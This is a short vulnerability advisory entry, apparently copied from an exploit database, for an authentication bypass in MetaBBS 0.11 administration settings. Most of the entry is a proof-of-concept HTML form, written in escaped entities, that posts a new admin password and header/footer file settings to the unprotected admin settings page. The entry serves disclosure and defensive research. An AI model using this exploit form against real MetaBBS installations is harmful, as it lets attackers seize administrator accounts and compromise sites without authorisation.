MetaBBS 0.11 Administration Settings Authentication Bypass Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
MetaBBS 0.11 Administration Settings Authentication Bypass Vulnerabilit

                                                source: http://www.securityfocus.com/bid/33626/info

MetaBBS is prone to a vulnerability that lets attackers modify arbitrary user passwords because it fails to adequately secure access to administrative functionality.

Exploiting this issue may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

MetaBBS 0.11 is vulnerable; other versions may also be affected. 

&#60;form method=&#34;post&#34; action=&#34;http://www.example.com/metabbs/admin/settings/?&#34;&#62; &#60;dl&#62; &#60;dt&#62;&#60;label for=&#34;settings_admin_password&#34;&#62;Admin password&#60;/label&#62;&#60;/dt&#62; &#60;dd&#62;&#60;input id=&#34;settings_admin_password&#34; size=&#34;20&#34; name=&#34;settings[admin_password]&#34; value=&#34;&#34; type=&#34;password&#34; /&#62;&#60;/dd&#62; &#60;dt&#62;&#60;label for=&#34;settings_global_header&#34;&#62;Header file&#60;/label&#62;&#60;/dt&#62; &#60;dd&#62;&#60;input id=&#34;settings_global_header&#34; size=&#34;30&#34; name=&#34;settings[global_header]&#34; value=&#34;&#34; type=&#34;text&#34; /&#62;&#60;/dd&#62; &#60;dt&#62;&#60;label for=&#34;settings_global_footer&#34;&#62;Footer File&#60;/label&#62;&#60;/dt&#62; &#60;dd&#62;&#60;input id=&#34;settings_global_footer&#34; size=&#34;30&#34; name=&#34;settings[global_footer]&#34; value=&#34;&#34; type=&#34;text&#34; /&#62;&#60;/dd&#62; &#60;dt&#62;&#60;label for=&#34;settings_theme&#34;&#62;Site theme&#60;/label&#62;&#60;/dt&#62; &#60;dd&#62;&#60;input id=&#34;settings_theme&#34; size=&#34;30&#34; name=&#34;settings[theme]&#34; value=&#34;&#34; type=&#34;text&#34; /&#62;&#60;/dd&#62; &#60;dt&#62;&#60;label for=&#34;settings_default_language&#34;&#62;Language&#60;/label&#62;&#60;/dt&#62; &#60;dd&#62; &#60;dd&#62;&#60;input id=&#34;ettings_default_language&#34; size=&#34;30&#34; name=&#34;settings[default_language]&#34; value=&#34;&#34; type=&#34;text&#34; /&#62;&#60;/dd&#62; &#60;input name=&#34;settings[always_use_default_language]&#34; value=&#34;0&#34; type=&#34;hidden&#34; /&#62;&#60;input id=&#34;settings_always_use_default_language&#34; name=&#34;settings[always_use_default_language]&#34; value=&#34;1&#34; type=&#34;checkbox&#34; /&#62; &#60;label for=&#34;settings_always_use_default_language&#34;&#62;Always Use Default Language&#60;/label&#62; &#60;/dd&#62; &#60;dt&#62;&#60;label for=&#34;settings_timezone&#34;&#62;TimeZone&#60;/label&#62;&#60;/dt&#62; &#60;dd&#62; &#60;dd&#62;&#60;input id=&#34;settings_timezone&#34; size=&#34;30&#34; name=&#34;settings[timezone]&#34; value=&#34;&#34; type=&#34;text&#34; /&#62;&#60;/dd&#62; &#60;/dl&#62; &#60;h2&#62;Advanced Setting&#60;/h2&#62; &#60;p&#62;&#60;input name=&#34;settings[force_fancy_url]&#34; value=&#34;0&#34; type=&#34;hidden&#34; /&#62; &#60;input id=&#34;settings_force_fancy_url&#34; name=&#34;settings[force_fancy_url]&#34; value=&#34;1&#34; type=&#34;checkbox&#34; /&#62; &#60;label for=&#34;settings_force_fancy_url&#34;&#62;Fancy URL Force Apply&#60;/label&#62;&#60;/p&#62; &#60;p&#62;&#60;input type=&#34;submit&#34; value=&#34;OK&#34; /&#62;&#60;/p&#62; &#60;/form&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1